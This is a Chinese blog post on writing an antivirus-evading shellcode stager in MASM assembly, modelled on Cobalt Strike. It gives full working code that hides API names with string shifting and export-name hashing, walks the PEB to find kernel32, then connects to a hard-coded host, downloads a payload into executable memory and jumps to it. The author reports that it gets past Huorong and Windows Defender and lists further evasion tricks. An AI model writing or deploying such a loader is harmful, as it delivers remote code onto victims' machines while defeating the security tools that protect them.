编译汇编代码实现免杀

在前面的文章中读过CobaltStrike的汇编代码，整体的思路就是用某种函数将shellcode加载到内存，然后跳到写入shellcode内存的地方执行

0x01 前言

在前面的文章中读过CobaltStrike的汇编代码，整体的思路就是用某种函数将shellcode加载到内存，然后跳到写入shellcode内存的地方执行

如果只是调用函数，不可避免的会让函数在导入表中

用GetProcAddress在没有加密的情况下函数名会出现在.data段中

某天逛倾旋大佬博客的时候，发现大佬直接写汇编代码用nasm编译成obj文件，再使用link生成exe

那shellcode本就是汇编语言，稍加修改不就可以直接编译成exe了吗

这样避免了导入表会存在函数，也不会出现在C中用VirtualAlloc开一块空间，然后shellcode又开一块空间的情况，直接使用汇编加载完整shellcode就可以了

本次文章就来简单实现一下

0x02 编译器&&基础知识

这次的编译器选择的是masm32

https://www.masm32.com/

大佬文章中用的是nasm，实际测试的时候nasm对低版本windows的兼容性有点差，到winxp就执行不了了

当然也有可能是链接器有问题，网上实在找不到老版本的链接器..

下面是masm的格式

  1. .386        ;声明需要使用386的CPU指令，当然还有486，586这里就不展开了
  2. .MODEL flat ;代码段和数据段同用4GB的内存空间
  3. .STACK      ;定义栈段，windows中栈是操作系统划分的，一般不定义
  4. .DATA       ;数据段
  5. .CODE       ;代码段

有了这些就可以开始写代码了

先整理一下思路，准备写个简单点的

  1. 在数据段存放混淆过的函数名和参数，再开出一些空间用来存放后面得到的函数指针
  2. 通过PEB找到kernel32.dll的地址然后找到GetProcAddress地址
  3. 写一个解密用的函数，不需要太复杂，但是最好不要用xor，这个指令还是有点敏感
  4. 把函数名解密，用GetProcAddress找到函数的地址存放到在数据段开的空间
  5. 得到全部需要用到的函数指针，最后就正常的调用函数

0x03 代码编写

数据段

首先是.data段

因为是模仿CS写的，用的函数也是shellcode里面的那些

  1. .DATA
  2. Point0 db 4 dup(0)        ;GetProcAddress           
  3. Point1 db 4 dup(0)        ;VirtualAlloc
  5. ;db是伪指令意思是指define byte，还有dw-word，dd-dword，dup是duplicate的缩写是重复的意思
  6. ;db 4 dup(0)是指重复写入四字节的0，这里的意思就是留一个四字节的空间用来存放函数指针
  7. ;当然别的数字也没关系因为这里要覆盖掉的
  9. Point0_dll db 4 dup(0)        ;kernel32.dll
  10. Point1_dll db 4 dup(0)        ;wininet.dll
  11. ;这里和上面一样用来存放dll的地址
  13. Dll1 db 74h,6ah,6dh,6ah,6dh,66h,77h,2dh,67h,6fh,6fh,00h           ;wininet.dll
  14. func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h       ;VirtualAlloc
  15. ;这里是混淆后的dll名称和函数名称，在结尾要加上0，不然字符串会一直连接下去不能截取
  17. func4_param db "aa"
  18. func5_param db 32h,33h,2dh,37h,33h,2dh,33h,31h,31h,31h,31h,0
  19. func6_param0 db "HTTP/100",00h
  20. func6_param1 db "/z9q8",00h
  21. func6_param2 db "GET",00
  22. ;这些就是一些参数了，可以选择混淆也可以明文，ip地址最好混淆一下

上面没写全，就差不多这个意思，别的函数和dll啥的都可以按照上面来

数据段

  1. .CODE
  2. _START:                 
  3. ;固定格式不用这个会提示warning A4023: with /coff switch, leading underscore required for start address : START
  4. ;这里开始写汇编代码
  6. call Strlen         ;就是调用Strlen函数，下面是具体的实现
  8. Strlen:
  9.   xor ecx,ecx
  10.   mov esi,[esp+8]
  11.   s:lodsb
  12.   inc ecx
  13.   cmp AL,0
  14.   jnz s
  15.   dec ecx
  16.   ret
  18. END _START

混淆实现

之前尝试过，xor关键字很容易被识别出来，整个简单点的，所有字符的十六进制-1好了

  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. func1 db 55h,6ah,71h,77h,76h,62h,6fh,42h,6fh,6fh,6ch,60h,00h       ;VirtualAlloc
  8. .CODE
  9. _START:
  10.     push offset DWORD PTR func3     
  11.     ;这是的offset是伪指令，意思是取func1的地址，如果直接 push func1取的是前面四个字符
  13. Decode:
  14.      mov ebx,[esp+4]            
  15.      ;当前esp的值是call下面的要执行的代码的地址，所以+4取到push进来的值
  16.      ;因为要改字符都要-1所以要先得到字符串的长度，这样可以只要需要循环几次
  17.      ;需要写一个得到字符串长度的函数
  18.      call Strlen        ;调用Strlen，这时候长度在ecx寄存器，直接用loop指令
  19.      x:mov AL, BYTE  PTR [ebx + ecx - 1]
  20.      ;ebx是指向被混淆的字符串的指针，加上ecx这个指针就到了末尾，最后-1就到了最后一个字符，中括号就和C语言中的&是相同的，用BYTE  PTR设定了取一字节存入AL中
  21.      inc AL             ;因为设定的是混淆的字符串是-1，+1后就正确了
  22.      mov BYTE PTR [ebx + ecx - 1], AL           ;最后把动过的字符串放回原来的位置
  23.      loop x                                     ;如果ecx不为0那么到x位置继续循环
  24.      ret 4                                      ;前面push了
  26. Strlen:
  27.   xor ecx,ecx               ;首先把ecx置零
  28.   mov esi,[esp+8]           ;因为这里又call了所以要取esp+8的位置，放到esi里面
  29.   s:lodsb                   
  30.   ;lodsb执行一次会把esi执行的第一个字节存入al中，然后esi+1
  31.   inc ecx                   ;自加1
  32.   cmp AL,0                  ;对比AL是否为0，不为0标志位不动
  33.   jnz s                     ;要是标志为不为1跳回s位置重新执行
  34.   dec ecx                   ;因为这里ecx是算上0的，所以要减1
  35.   ret 4                     ;返回，因为前面有一个push为了堆栈平衡所以要多弹出4字节
  37. END _START

完整代码

可以先用python生成混淆后的字符串

  1. a = "LoadLibraryA"
  2. for i in range(0, len(a)):
  3.     print(hex((ord(a[i]))-1).replace("0x",""),end="h,")
  4. print("00h")
  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. Point0 db 4 dup(0)        ;GetProcAddress
  7. Point1 db 4 dup(0)        ;VirtualAlloc
  8. Point2 db 4 dup(0)        ;
  9. Point3 db 4 dup(0)        ;
  10. Point4 db 4 dup(0)        ;InternetOpenA
  11. Point5 db 4 dup(0)        ;InternetConnectA
  12. Point6 db 4 dup(0)        ;HttpOpenRequestA
  13. Point7 db 4 dup(0)        ;HttpSendRequestA
  14. Point8 db 4 dup(0)        ;InternetReadFile
  16. Point0_dll db 4 dup(0)        ;kernel32.dll
  17. Point1_dll db 4 dup(0)        ;wininet.dll
  19. Dll1 db 76h,68h,6dh,68h,6dh,64h,73h,2dh,63h,6bh,6bh,00h           ;wininet.dll
  21. func1 db 55h,68h,71h,73h,74h,60h,6bh,40h,6bh,6bh,6eh,62h,00h       ;VirtualAlloc
  22. func3 db 4bh,6eh,60h,63h,4bh,68h,61h,71h,60h,71h,78h,40h,00h         ;LoadLibraryA
  23. func4 db 48h,6dh,73h,64h,71h,6dh,64h,73h,4eh,6fh,64h,6dh,40h,00h      ;InternetOpenA
  24. func5 db 48h,6dh,73h,64h,71h,6dh,64h,73h,42h,6eh,6dh,6dh,64h,62h,73h,40h,00h ;InternetConnectA
  25. func6 db 47h,73h,73h,6fh,4eh,6fh,64h,6dh,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpOpenRequestA
  26. func7 db 47h,73h,73h,6fh,52h,64h,6dh,63h,51h,64h,70h,74h,64h,72h,73h,40h,00h ;HttpSendRequestA
  27. func8 db 48h,6dh,73h,64h,71h,6dh,64h,73h,51h,64h,60h,63h,45h,68h,6bh,64h,00h ;InternetReadFile
  29. func4_param db "aa"
  30. func5_param db 30h,2fh,2dh,30h,32h,2fh,2dh,33h,2dh,31h,2fh,33h,00h
  31. func6_param0 db "HTTP/100",00h
  32. func6_param1 db "/5quA",00h
  33. func6_param2 db "GET",00
  35. ;上面都是一些函数名，dll名，参数啥的，存在数据段
  37. .CODE
  38. ASSUME FS:NOTHING                       ;指定FS，不然用FS+0x30找PEB会找不到
  39. _START:
  40.     call Getkernel32DLL                 ;找kerner32.dll的地址
  41.     mov DWORD PTR [Point0_dll], ebx     ;上一个函数结束后kernel32的地址在
  42.     call Get_Function                   ;找到GetProcAddress的地址
  43.     mov DWORD PTR [Point0],edx          ;地址存入Point0
  44.     push offset DWORD PTR func3         ;压入混淆后的字符串
  45.     call Decode                         ;解码，正确的字符串会覆盖在原先的位置
  46.     push offset DWORD PTR Dll1
  47.     call Decode
  48.     mov eax,DWORD PTR [Point0_dll]      ;kernel32的地址存入eax
  49.     push offset DWORD PTR func3         ;压入函数名
  50.     push eax                            ;压入地址
  51.     call DWORD PTR [Point0]             ;调用GetProcAddress函数
  52.     push offset DWORD PTR Dll1          ;上面得到的是LoadLibraryA的地址，这时候eax是指向LoadLibraryA的函数指针，这里push wininet的字符串，下面直接call eax就可以加载wininet.dll
  53.     call eax            ;call LoadLibraryA  
  54.     mov DWORD PTR [Point1_dll], eax         ;wininet地址存入Point1_dll中
  56.     push offset DWORD PTR func4             
  57.     call Decode
  58.     mov eax, DWORD PTR [Point1_dll]
  59.     push offset DWORD PTR func4
  60.     push eax
  61.     call DWORD PTR [Point0]
  62.     mov DWORD PTR [Point4], eax
  64.     push offset DWORD PTR func5
  65.     call Decode
  66.     mov eax, DWORD PTR [Point1_dll]
  67.     push offset DWORD PTR func5
  68.     push eax
  69.     call DWORD PTR [Point0]
  70.     mov DWORD PTR [Point5], eax
  72.     push offset DWORD PTR func6
  73.     call Decode
  74.     mov eax, DWORD PTR [Point1_dll]
  75.     push offset DWORD PTR func6
  76.     push eax
  77.     call DWORD PTR [Point0]
  78.     mov DWORD PTR [Point6], eax
  80.     push offset DWORD PTR func7
  81.     call Decode
  82.     mov eax, DWORD PTR [Point1_dll]
  83.     push offset DWORD PTR func7
  84.     push eax
  85.     call DWORD PTR [Point0]
  86.     mov DWORD PTR [Point7], eax
  88.     push offset DWORD PTR func1
  89.     call Decode
  90.     mov eax, DWORD PTR [Point0_dll]
  91.     push offset DWORD PTR func1
  92.     push eax
  93.     call DWORD PTR [Point0]
  94.     mov DWORD PTR [Point1], eax
  96.     push offset DWORD PTR func8
  97.     call Decode
  98.     mov eax, DWORD PTR [Point1_dll]
  99.     push offset DWORD PTR func8
  100.     push eax
  101.     call DWORD PTR [Point0]
  102.     mov DWORD PTR [Point8], eax
  104.     ;上面都是类似的操作，把字符串压入然后解密，得到的函数指针存入数据段中
  105.     push offset DWORD PTR func5_param           ;ip地址解密
  106.     call Decode
  108.     push 0
  109.     push 0
  110.     push 0
  111.     push 1
  112.     push offset DWORD PTR func4_param
  113.     call DWORD PTR [Point4]                 ;调用InternetOpenA
  115.     push 0
  116.     push 0
  117.     push 3
  118.     push 0
  119.     push 0
  120.     push 52h            ;这里是端口
  121.     push offset DWORD PTR func5_param
  122.     push eax
  123.     call DWORD PTR [Point5]                 ;InternetConnectA
  125.     push 0
  126.     push 4000000h
  127.     push 0
  128.     push 0
  129.     push offset DWORD PTR func6_param0
  130.     push offset DWORD PTR func6_param1
  131.     push offset DWORD PTR func6_param2
  132.     push eax
  133.     call DWORD PTR [Point6]                 ;HttpOpenRequestA
  134.     mov DWORD PTR [Point2],eax              ;将得到的句柄存入Point2中
  136.     push 0
  137.     push 0
  138.     push 0
  139.     push 0
  140.     push eax
  141.     call DWORD PTR [Point7]                 ;HttpSendRequestA
  143.     push 40h
  144.     push 1000h
  145.     push 400000h
  146.     push 0
  147.     call DWORD PTR [Point1]                 ;VirtualAlloc
  149.     push offset DWORD PTR Point3
  150.     push 400000h
  151.     push eax
  152.     mov edi,eax                             ;VirtualAlloc的地址存入edi
  153.     mov eax,DWORD PTR [Point2]
  154.     push eax
  155.     call DWORD PTR [Point8]                 ;InternetReadFile
  156.     push edi                                ;edi入栈，这时候存的是VirtualAlloc开辟的地址
  157.     ret                                     ;跳到VirtualAlloc开辟的地址执行
  159. Getkernel32DLL:
  160.   xor ecx,ecx
  161.   mov eax,fs:[ecx+30h]
  162.   mov eax, [eax+0Ch]
  163.   mov esi, [eax+14h]
  164.   lodsd
  165.   xchg eax, esi
  166.   lodsd
  167.   mov ebx,[eax+10h]
  168.   ret
  170. Get_Function:
  171.   mov edx,[ebx+3ch]
  172.   add edx,ebx
  173.   mov edx, [edx+78h]
  174.   add edx, ebx
  175.   mov esi, [edx+20h]
  176.   add esi, ebx
  177.   xor ecx,ecx
  178.   getfunc:inc ecx
  179.   lodsd
  180.   add eax,ebx
  181.   cmp DWORD PTR [eax], 50746547h
  182.   jnz getfunc
  183.   cmp DWORD PTR [eax+4], 41636f72h
  184.   jnz getfunc
  185.   mov esi, [edx+24h]
  186.   add esi, ebx
  187.   mov cx, [esi + ecx * 2]
  188.   dec ecx
  189.   mov esi, [edx+1ch]
  190.   add esi, ebx
  191.   mov edx, [esi + ecx * 4]
  192.   add edx, ebx
  193.   ret 
  195. Decode:
  196.   mov ebx,[esp+4]
  197.   call Strlen
  198.   x:mov AL, BYTE  PTR [ebx + ecx - 1]
  199.   inc AL
  200.   mov BYTE PTR [ebx + ecx - 1], AL
  201.   loop x
  202.   ret 4
  204. Strlen:
  205.   xor ecx,ecx
  206.   mov esi,[esp+8]
  207.   s:lodsb
  208.   inc ecx
  209.   cmp AL,0
  210.   jnz s
  211.   dec ecx
  212.   ret
  214. END _START

然后用下面的指令编译，ml和link都在masm32/bin目录下

  1. ml /c /coff /Cp masm.asm                #编译为obj文件
  3. link /subsystem:windows masm.obj        #生成exe文件

实测此方法是可以过火绒和wdf的

360在刚编译好的时候是查不出来的，但是在机器上放一下就会杀掉了，应该是有模拟运行这样的东西，毕竟静态混淆过了，动态执行后在内存中该复原的还是要复原

用了myccl找了一下特征码，数据段提示的是那几个被混淆过的字符串

代码段是搜索GetProcAddress函数的位置

  1. cmp DWORD PTR [eax], 50746547h
  2. jnz getfunc
  3. cmp DWORD PTR [eax+4], 41636f72h

看来要学习一下CS的shellcode的写法了

0x04 重新编写

  1. 存入一个特征码
  2. 得到导入表中的函数数量，存入ecx中
  3. 遍历函数名称，字符右移13位，遍历完函数名后对比特征码，如果不同ecx-1，如果相同话就拿ecx去找函数实际地址

本来还需要得到dll名称的长度再加上后面混淆后的字符，对比特征码的，偷懒不写了

这是cs取函数的方法，尽可能的避免了字符串的出现

和上面一样，要先写出混淆的代码，这里用汇编语言来实现

  1. ;confusion.asm
  2. .386
  3. .MODEL flat,stdcall                         ;调用约定为stdcall
  5. includelib kernel32.lib                             
  6. includelib msvcrt.lib                       ;包含msvcrt.lib，这样才可以调用里面的函数
  8. strcmp PROTO C, :DWORD,:DWORD
  9. printf PROTO C, :VARARG                     ;定义参数类型
  10. LoadLibraryA PROTO :DWORD                   ;加载dll用到
  12. .STACK
  13. .DATA
  14. func db "LoadLibraryA",00h          ;LoadLibraryA       要找的函数的函数名
  15. dll db "wininet.dll"                ;指定要找的函数的动态链接库  
  16. Point0 db 4 dup(0)                  ;kernel32地址
  17. func_name db 4 dup(0)               ;遍历的函数名
  18. tz db 4 dup(0),00h                  ;混淆后的内容
  19. hex db "%x",00h                     ;打印的结果以十六进制显示
  21. .CODE
  22. ASSUME FS:NOTHING
  23. _START:
  24.     push offset dword ptr dll
  25.     call LoadLibraryA                           ;加载dll将dll地址存入Point0
  26.     mov DWORD PTR [Point0], eax
  27.     mov ebx, eax                                ;dll地址存入ebx
  28.     mov edx,dword ptr ds:[ebx+3ch]
  29.     add edx, ebx
  30.     mov edx,dword ptr ds:[edx+78h]
  31.     add edx, ebx
  32.     mov ecx,dword ptr ds:[edx+18h]              ;NumberOfNames得到函数数量
  33.     mov edx,dword ptr ds:[edx+20h]              ;AddressOfNames函数名称的偏移
  34.     add edx, ebx                                ;AddressOfNames地址
  35.     a:dec ecx                                   ;ecx-1
  36.     mov esi,dword ptr ds:[edx+ecx*4]            ;得到函数名称偏移
  37.     add esi,ebx                                 ;得到函数名称地址
  38.     mov dword ptr [func_name],esi               ;得到的函数名称存入func_name
  39.     xor edi,edi                                 ;xor置零
  40.     x:xor eax,eax                               ;eax置零
  41.     lodsb                                       
  42.     rol edi, 2
  43.     add edi,eax                                 ;上面就是简单的混淆
  44.     cmp al,0                                    ;如果对比到0说明函数名遍历结束
  45.     jnz x                                       
  46.     mov dword ptr [tz], edi                     ;得到的特征存入tz
  47.     pushad                                      ;全部寄存器全部入栈，因为strcmp执行后会修改几个寄存器的值，为了保证寄存器的值一样，先入栈保存
  48.     push offset dword ptr func                  ;要找的函数名
  49.     push DWORD PTR func_name                    ;遍历到的函数名
  50.     call strcmp                                 ;执行strcmp
  51.     pop ebx                                     ;因为strcmp不会内平栈所以pop弹出参数
  52.     pop ebx                                     ;同上
  53.     cmp eax,0                                   ;对比是否相同
  54.     popad                                       ;复原寄存器
  55.     jnz a
  57.     push dword ptr tz                           ;相同就走到这里特征入栈
  58.     push offset dword ptr hex                   ;以十六进制显示
  59.     call printf                                 ;调用函数
  61. END _START
  63. ;ml /c /coff /Cp confusion.asm
  64. ;link /subsystem:console /libpath:c:\masm32\lib confusion.obj           这里用console打印的结果会在控制台显示，windows的话不显示控制台，然后要设定lib的路径

0x6fceae14——LoadLibraryA
0xb7a84d25——InternetOpenA
0xea07de71——InternetConnectA
0x737cae72——HttpOpenRequestA
0x7524ae72——HttpSendRequestA
0x79c5937c——VirtualAlloc
0xea134901——InternetReadFile

  1. ; win.asm
  2. .386
  3. .MODEL flat
  4. .STACK
  5. .DATA
  6. Point1 db 4 dup(0)        ;VirtualAlloc
  7. Point2 db 4 dup(0)        ;
  8. Point3 db 4 dup(0)        ;
  9. Point4 db 4 dup(0)        ;InternetOpenA
  10. Point5 db 4 dup(0)        ;InternetConnectA
  11. Point6 db 4 dup(0)        ;HttpOpenRequestA
  12. Point7 db 4 dup(0)        ;HttpSendRequestA
  13. Point8 db 4 dup(0)        ;InternetReadFile
  15. Point0_dll db 4 dup(0)        ;kernel32.dll
  16. Point1_dll db 4 dup(0)        ;wininet.dll
  17. IED_struct db 4 dup(0)        ;IMAGE_EXPORT_DIRECTORY结构指针
  19. func1 db 7ch,93h,0c5h,79h        ;VirtualAlloc
  20. func3 db 14h,0aeh,0ceh,6fh       ;LoadLibraryA
  21. func4 db 25h,4dh,0a8h,0b7h      ;InternetOpenA
  22. func5 db 71h,0deh,07h,0eah       ;InternetConnectA
  23. func6 db 72h,0aeh,7ch,73h       ;HttpOpenRequestA
  24. func7 db 72h,0aeh, 24h,75h      ;HttpSendRequestA
  25. func8 db 01h,49h,13h,0eah      ;InternetReadFile
  27. func4_param db "aa"
  28. func5_param db "10.130.4.205",00h
  29. func6_param0 db "HTTP/100",00h
  30. func6_param1 db "/5quA",00h
  31. func6_param2 db "GET",00
  33. .CODE
  34. ASSUME FS:NOTHING
  35. _START:
  36.     call Getkernel32DLL
  37.     mov DWORD PTR [Point0_dll], ebx
  38.     push dword ptr func3
  39.     push dword ptr Point0_dll
  40.     call Decode
  41.     push 0074656eh
  42.     push 696e6977h
  43.     push esp
  44.     call eax
  45.     mov dword ptr [Point1_dll], eax
  46.     push dword ptr func4
  47.     push eax
  48.     call Decode
  49.     mov dword ptr Point4,eax
  50.     push dword ptr func5
  51.     push dword ptr Point1_dll
  52.     call Decode
  53.     mov dword ptr Point5,eax
  54.     push dword ptr func6
  55.     push dword ptr Point1_dll
  56.     call Decode
  57.     mov dword ptr Point6,eax
  58.     push dword ptr func7
  59.     push dword ptr Point1_dll
  60.     call Decode
  61.     mov dword ptr Point7,eax
  62.     push dword ptr func8
  63.     push dword ptr Point1_dll
  64.     call Decode
  65.     mov dword ptr Point8,eax
  66.     push dword ptr func1
  67.     push dword ptr Point0_dll
  68.     call Decode
  69.     mov dword ptr Point1,eax
  71.     push 0
  72.     push 0
  73.     push 0
  74.     push 1
  75.     push offset DWORD PTR func4_param
  76.     call DWORD PTR [Point4]
  78.     push 0
  79.     push 0
  80.     push 3
  81.     push 0
  82.     push 0
  83.     push 52h
  84.     push offset DWORD PTR func5_param
  85.     push eax
  86.     call DWORD PTR [Point5]
  88.     push 0
  89.     push 4000000h
  90.     push 0
  91.     push 0
  92.     push offset DWORD PTR func6_param0
  93.     push offset DWORD PTR func6_param1
  94.     push offset DWORD PTR func6_param2
  95.     push eax
  96.     call DWORD PTR [Point6]
  97.     mov DWORD PTR [Point2],eax
  99.     push 0
  100.     push 0
  101.     push 0
  102.     push 0
  103.     push eax
  104.     call DWORD PTR [Point7]
  106.     push 40h
  107.     push 1000h
  108.     push 400000h
  109.     push 0
  110.     call DWORD PTR [Point1]
  112.     push offset DWORD PTR Point3
  113.     push 400000h
  114.     push eax
  115.     mov edi,eax
  116.     mov eax,DWORD PTR [Point2]
  117.     push eax
  118.     call DWORD PTR [Point8]
  119.     jmp s
  120.     s:jmp edi
  121.     int 3
  123. Getkernel32DLL:
  124.   xor ecx,ecx
  125.   mov eax,fs:[ecx+30h]
  126.   mov eax, [eax+0Ch]
  127.   mov esi, [eax+14h]
  128.   lodsd
  129.   xchg eax, esi
  130.   lodsd
  131.   mov ebx,[eax+10h]
  132.   ret
  134. Decode:
  135.   mov ebx,[esp+4]
  136.   mov eax,[esp+8]
  137.   mov edx,dword ptr ds:[ebx+3ch]
  138.   add edx, ebx
  139.   mov edx,dword ptr ds:[edx+78h]
  140.   add edx, ebx
  141.   mov dword ptr [IED_struct], edx
  142.   mov ecx,dword ptr ds:[edx+18h]
  143.   mov edx,dword ptr ds:[edx+20h]
  144.   add edx, ebx
  145.   a:dec ecx
  146.   mov esi,dword ptr ds:[edx+ecx*4]
  147.   add esi,ebx
  148.   xor edi,edi
  149.   x:xor eax,eax
  150.   lodsb
  151.   rol edi, 2
  152.   add edi,eax
  153.   cmp al,0
  154.   jnz x
  155.   cmp dword ptr [esp+8h],edi
  156.   jnz a
  157.   mov edx,dword ptr [IED_struct]
  158.   mov eax,dword ptr ds:[edx+24h]
  159.   add eax,ebx
  160.   mov cx,word ptr ds:[eax+ecx*2]
  161.   mov edx, dword ptr ds:[edx+1ch]
  162.   add edx,ebx
  163.   mov eax,dword ptr ds:[edx+ecx*4]
  164.   add eax,ebx
  165.   ret 8
  167. END _START

这方法可以过常见的杀软，但是丢到vir上面查杀的还是挺多的

可以用到花指令，各种同义指令，少用call，jmp，push这类的，可以当一种思路

  • 发表于 2022-05-10 09:36:04
  • 阅读 ( 9355 )
  • 分类：内网渗透

4 条评论

Macchiato
Macchiato

13 篇文章

Macchiato

如果觉得我的文章对您有用，请随意打赏。你的支持将鼓励我继续创作！